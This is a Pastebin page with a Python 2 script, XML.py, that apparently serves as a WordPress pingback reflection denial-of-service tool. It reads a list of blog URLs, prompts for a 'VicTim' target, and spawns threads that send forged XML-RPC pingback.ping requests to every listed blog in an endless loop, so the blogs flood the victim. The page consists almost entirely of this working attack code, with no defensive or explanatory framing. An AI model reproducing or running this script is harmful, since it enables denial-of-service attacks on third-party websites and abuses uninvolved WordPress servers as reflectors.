Advertisement
sdadas456

XML.py

Dec 2nd, 2015
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.06 KB | None | 0 0
  1. #!/usr/bin/python
  2. import sys
  3. import socket
  4. import threading
  5. import time
  6. import os
  7. Lock = threading.Lock()
  8. def main():
  9. try:
  10. in_file = open("list.txt","r")
  11. except:
  12. raw_input('You need a list.txt file to work')
  13. sys.exit(0)
  14. os.system("title ...:: XML::... ")
  15. print '-------------------------------------------------------------------------\n'
  16. num_thread = input("thread: ")
  17. url = raw_input("VicTim: ")
  18. for i in range(num_thread):
  19. try:
  20. in_line = in_file.readline()
  21. Thread1(url, i+1, in_line).start()
  22. in_line = in_line[:-1]
  23. except:
  24. pass
  25. time.sleep(3)
  26.  
  27.  
  28. class Thread1(threading.Thread):
  29. def __init__(self, url, number, blog):
  30. self.url = url
  31. self.number = number
  32. self.blog = blog
  33. threading.Thread.__init__(self)
  34.  
  35. def run(self):
  36. Lock.acquire()
  37. print 'Starting thread #%s'%self.number
  38. Lock.release()
  39. function_pingback = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>"%(self.url, self.blog)
  40. request_lenght = len(function_pingback)
  41. try:
  42. self.blog_cleaned = self.blog.split("?p=")[0]
  43. self.blog_cleaned1 = self.blog_cleaned.split("http://")[1].split("/")[0]
  44. except:
  45. sys.exit(0)
  46. request = "POST %s/HTTP/1.0\r\nHost: %s\r\nUser-Agent: Internal Wordpress RPC connection\r\nContent-Type: text/xml\r\nContent-Length: %s\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>\r\n\r\n"%(self.blog_cleaned, self.blog_cleaned1, request_lenght, self.url, self.blog)
  47. while True:
  48. time.sleep(3)
  49. try:
  50. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
  51. s.connect((self.blog_cleaned1, 80))
  52. s.send(request)
  53. print"Thread %s | Blog %s"%(self.number, self.blog_cleaned1)
  54. except:
  55. ok = 0
  56. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement